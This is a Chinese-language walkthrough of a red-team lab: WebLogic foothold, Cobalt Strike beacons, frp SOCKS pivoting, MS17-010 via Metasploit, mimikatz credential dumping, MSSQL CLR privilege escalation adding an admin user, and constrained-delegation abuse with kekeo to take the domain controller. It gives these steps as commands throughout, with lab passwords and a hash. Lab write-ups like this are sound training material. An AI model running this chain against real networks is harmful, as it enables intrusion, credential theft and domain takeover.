从外网 Weblogic 打进内网,再到约束委派接管域控
靶场来自渗透攻击红队,官方 wp 及下载地址:https://mp.weixin.qq.com/s/dcYbIfLwN-Aw0Z9XxQSGkQ
本靶场存在的漏洞:
1 | GPP:admin:admin!@#45 |
环境搭建
虚拟机文件比较大,解压之后有 74.8G,所以要保证有足够的空间,建议使用固态硬盘,解压之后直接使用 VMware 扫描虚拟机并依次获取权限
网站拓扑
更新一下上图的环境
1 | 网关 IP:192.168.43.252 |
发现 Windows 可以 ping 通 Kali,但是 kali 却 ping 不通,很容易想到是 Windows 的防火墙问题,关掉即可
还需要注意一个问题,这里选择的是桥接模式,之前都是 nat,其实用哪一种都行
这个图就很好地说明了之前的区别,就是使用 nat 模式的物理机是可以访问所有虚拟机的但是虚拟机无法访问物理机,使用桥接就可以相互访问,还有说如果是需要认证的校园网大概率用户不了桥接模式(虚拟机没法联网)
靶机一的 weblogic 需要手动开启
1 | weblogic 安装目录:C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain(手动运行下 startWebLogic.cmd) |
1.外网打点
目标 IP:192.168.43.92
使用 nmap 进行端口扫描服务发现
1 | nmap -sV -sT -Pn 192.168.43.92 |
在一般实战中建议制定端口扫描,因为速度快且扫描精度高
1 | nmap -v -Pn -T3 -sV -n -sT --open -p 22,1222,2222,22345,23,21,445,135,139,5985,2121,3389,13389,6379,4505,1433,3306,5000,5236,5900,5432,1521,1099,53,995,8140,993,465,878,7001,389,902,1194,1080,88 192.168.43.92 |
发现开放了 7001 端口,即 weblogic 服务
1 | http://192.168.43.92:7001/console/login/LoginForm.jsp |
利用工具下载,过于脚本小子了
执行命令发现是 administrator 权限,并且可以连通外网
2.上线 CS
直接执行 Powershell 命令上线 CS
在 VPS 或者虚拟机 kali 上开启 CS server,生成监听器,执行命令
上线
通过命令发现存在第二个网卡,是一个内网网段
3.内网横向
信息收集
抓取主机密码
1
WEBLOGIC\Administrator ccef208c6485269c20db2cad21734fe7
靶机为 WinServer 2012 所以不能直接读明文密码
判断是否在域内
1
ipconfig /all
判断在工作组中而不是在域中
使用以下两条命令再确认一下
1
2systeminfo
net config workstation
存活探测&漏洞扫描
CS 导入 Cobalt-Strike-Aggressor-Scripts 插件组,插件下载地址:https://github.com/timwhitez/Cobalt-Strike-Aggressor-Scripts
加载之后右击主机列表会出现很多工具
向 Victim 机器上传 nbtscan,之后执行 nbtscan 输入目标 10.10.20.0/24
发现一台机器 IP 为 10.10.20.7
通过文件管理上传 fscan 进行扫描
1 | shell fscan_win32.exe -h 10.10.20.0/24 |
确定目标机器为 win7 系统,并且存在永恒之蓝
搭建代理
搭建 Frp 隧道,进行漏洞利用,Kali 上配置 Frps.ini 配置文件
启动 Frps
1
./frps -c frps.ini
Victim 上传 frpc.exe 和 frpc.ini
1
2
3
4
5
6
7
8[common]
server_addr = VPS/kali ip
server_port = 7000
[plugin_socks]
type = tcp
remote_port = 7777
plugin = socks5启动 frpc
1
shell frpc.exe -c frpc.ini
启动之后代理就搭建完毕了,这样攻击者就可以通过跳板机 weblogic 靶机向内网发起访问请求
ms17010
因为内网 win7 主机存在 ms17010 直接用 msf
首先拿到 meterpreter 会话
1 | msf6 > setg Proxies socks5:192.168.43.58:7777 |
proxy 的 IP 就是 kali 的 IP,rhost 就是内网地址
在 msf 攻击中可以清晰的看到攻击流程,使用的是目标 smb 445 端口
第一次以蓝屏终结
MSF永恒之蓝mf17010失败原因
- 一次没有成功再多次尝试
- 目标机器蓝屏
- MSF payload 为 64 位目标机器也需要 64 位,也 python 有 32 位 的 payload
- 永恒之蓝流量比较大
修改了下 win7 靶机内存调整到了 2G,第二次尝试成功
拿到 meterpreter
抓密码
加载 mimikatz 读密码
1 | load mimikatz |
也可以加载新版 mimikatz - wiki
可以发现没有明文密码,因为 win7 管理员没有登录,所以没有抓取到明文密码,只需要管理员登录机器再次执行命令就可以抓到明文密码
4.二层内网域渗透
PS:因为我的电脑重启地址基本都换了,更新下 IP,需要重新搭 frp 和 msf 连接
server 2012 weblogic:192.168.43.93
kali:192.168.43.99
win7上线cs
在 cs 中 win7 中转上线,现在上线 cs 的几种思路
- msf 上传 cs 的后门 exe 执行
- msf 的 meterpeter spawn 到 cs 会话
- cs 通过 ipc$ 上传 cs 后门到 win7 靶机通过计划任务执行
使用方案一
1.CS 设置中转监听器
2.生成后门
把后门上传到 kali,然后在 msf 中使用命令上传到靶机 win7
进入 shell,执行 beacon.exe
成功上线 cs
内网信息收集
- ```
shell whoamishell ipconfig1
2
3
![image-20220508132840943](https://img-blog.csdnimg.cn/img_convert/12afe22796d469144f3460cf54ef126d.png)shell ipconfig /all1
2
3
4
5
6
7
发现内网 10.10.10.0/24 段
![image-20220508132931259](https://img-blog.csdnimg.cn/img_convert/54805adf717446c36e389f2f90ded000.png)
- **判断是否域环境**shell net user /domain1
2
3
![image-20220508133208864](https://img-blog.csdnimg.cn/img_convert/db34af5ab312f9c6f65eb8ebf667d3dc.png)net group “Domain Controllers” /domain1
2
3
4
5
![image-20220508133248296](https://img-blog.csdnimg.cn/img_convert/e40d870b22c1485565e4a46cfb11a176.png)
- 确定域控主机 IP
或者 net time /domain
ping owa -n 21
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
![image-20220508133655941](https://img-blog.csdnimg.cn/img_convert/55d83e5cc5fcbc3dbf6231aeafb703e1.png)
![image-20220508133445538](https://img-blog.csdnimg.cn/img_convert/86dc629e56bf721bc246b18d5382c673.png)
当前进程是没有域管的,所以暂且放弃令牌窃取
![image-20220508134529747](https://img-blog.csdnimg.cn/img_convert/1264e8d021f1d34c6d2a4df6a5266370.png)
由于我们已经通过 ms17010 -> mimikatz 拿到了一个域用户的账户密码,尝试查找约束委派的用户
首先向 win7 靶机上传 adfind 工具
```bash
# 查询配置了非约束委派的主机:
AdFind.exe -h 10.10.10.8 -u saul -up admin!@#45 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
# 查询配置了非约束委派的用户:
AdFind.exe -h 10.10.10.8 -u saul -up admin!@#45 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
# 查询配置了约束委派的主机:
AdFind.exe -h 10.10.10.8 -u saul -up admin!@#45 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
# 查询配置了约束委派的用户:
AdFind.exe -h 10.10.10.8 -u saul -up admin!@#45 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
找到了一个 sqlserver 的用户是被设置了约束委派,得想办法搞到这个用户的账密
上传 fscan.exe 到靶机进行信息收集和漏洞扫描
PS:如果没有扫到 1433 端口,就进虚拟机把 SQL server 启动,启动不了
看这篇文章:链接,因为过试用期了,需要升级重新输入密码
正常启动
根据他开放的端口尝试以下操作:
- 80 端口 web 漏洞
- 1433 SQL server 漏洞
- 445 smb 等端口系统漏洞
其他拿域控思路:域控被突破的几种途径v2
二层Frp代理
现在尝试 80 端口漏洞
搭建使用 frp 多层代理,修改 weblogic 的 frp 配置文件,weblogic 既是客户端,也是服务端,需要修改 frps.ini,通过 cs 上传 frps 和 frps.ini
启动 frps
1
shell frps.exe -c frps.ini
数据服务器开启 frpc
1
shell frpc.exe -c frpc.ini
1
2
3
4
5
6
7
8[common]
server_addr = 10.10.20.12
server_port = 1111
[http_proxy]
type = tcp
remote_port = 7777
plugin = socks5建立链接
在攻击者的 windows 电脑上可以用 proxifier 设置代理链
在攻击者的 windows 电脑上可以正常访问 10.10.10.18
发现 80 端口并没有什么利用点,尝试利用 SQL sever,因为现在搭建了二层代理所以部分操作可以用 windows 物理机直接攻击
打数据服务器SQL server
尝试爆破 SQL server 密码
使用工具成功爆破用户密码
可以看到流量被转发
这样就拿到了域控主机的 SQL server 密码
随后利用 SharpSQLTools.exe 工具对其进行 xp_cmdshell 调用系统命令,或者 SqlKnife 这个工具
1 | .\SharpSQLTools.exe 10.10.10.18 sa sa master xp_cmdshell whoami |
却认为域控 ip
目前的权限是nt authority\network service
即为普通服务权限,
由于目标机器不出网不存在让他下载我们的 exe,随后使用 MSF + Proxychains 调用 xpcmdshell 模块上线到 MSF,但是失败了
既然上线失败且目标是 iis,那么想办法找到 iis 到目录写个一句话吧
一般 iis 的目录是:
C:\inetpub\wwwroot
,那么查看下是否存在
确实存在此目录,尝试写入文件,权限太小失败
在 MSSQL 中使用 CLR 组件提权,提权原理可以看这篇文章:https://www.anquanke.com/post/id/250346
在搜这个提权的时候还发现了一个华点就是搜关键词 install_clr 就可以搜到这个靶场的 wp
使用 SharpSQLTools 开启目标 clr,进行提权
1 | SharpSQLTools.exe 10.10.10.18 sa sa master install_clr whoami |
然后启用并调用命令:
1 | SharpSQLTools.exe 10.10.10.18 sa sa master enable_clr |
提权成功,只能说太牛皮了
添加一个管理员权限用户,用户名为 ocean.com 密码为 qwe.123
1 | SharpSQLTools.exe 10.10.10.18 sa sa master clr_efspotato "net user ocean.com qwe.123 /add" |
升级为 admin 组
1 | SharpSQLTools.exe 10.10.10.18 sa sa master clr_efspotato "net localgroup administrators ocean.com /add" |
查看用户
1 | SharpSQLTools.exe 10.10.10.18 sa sa master clr_efspotato "net user" |
其他师傅试了多种方法都不行,他们最终选择了 msf,我就直接用 msf 了,其他师傅的文章可以在参考连接中找到
上线CS
漏洞利用拿下的 win7 做中继,用 CS 生成马,通过 meterpreter 传上去 msf 的 payload,但是需要首先为 kali 设置代理,因为之前使用 frp 搭建了二层隧道,所以这里只需要设置 proxychains 的配置文件即可
1.设置 kali proxychains 代理保证 kali msf 可以访问到 10.10.10.18
1 | vi /etc/proxychains.conf |
代理链就和 Windows 物理机一样
2.上线 msf
使用代理启动 msf
1 | proxychains msfconsole |
使用 mssql_clr_payload 模块
1 | use exploit/windows/mssql/mssql_clr_payload |
3.生成中转上线的 cs 马,新建一个监听器,这里需要多层代理
生成 beacon.exe
4.通过 msf 上传 beacon.exe 并且执行,上线 sc,但是只有服务权限
使用 SharpSQLTools.exe 去执行 beacon,获取高权限用户,拿到 SQL server 主机
5.域内委派拿域控
cs 中拿到用户密码
之前信息搜集的时候我们知道 sqlserver
是一个约束委派的用户,我们可以通过约束委派攻击来接管域控
通过 cs 上传工具 kekeo,利用 kekeo 请求该用户的 TGT:TGT_sqlserver@REDTEAM.RED_krbtgt~redteam.red@REDTEAM.RED.kirbi
1 | kekeo.exe "tgt::ask /user:sqlserver /domain:redteam.red /password:Server12345 /ticket:administrator.kirbi" |
然后使用这张 TGT (TGT_sqlserver@REDTEAM.RED_krbtgt~redteam.red@REDTEAM.RED.kirbi
) 获取域机器的 ST:TGS_Administrator@redteam.red@REDTEAM.RED_cifs~owa.redteam.red@REDTEAM.RED.kirbi
1 | kekeo.exe "tgs::s4u /tgt:TGT_sqlserver@REDTEAM.RED_krbtgt~redteam.red@REDTEAM.RED.kirbi /user:Administrator@redteam.red /service:cifs/owa.redteam.red" |
使用 mimikatz 将 ST2 导入当前会话即可,运行 mimikatz 进行 ptt:
1 | mimikatz kerberos::ptt TGS_Administrator@redteam.red@REDTEAM.RED_cifs~owa.redteam.red@REDTEAM.RED.kirbi |
参考链接
http://moonflower.fun/index.php/2022/03/06/300/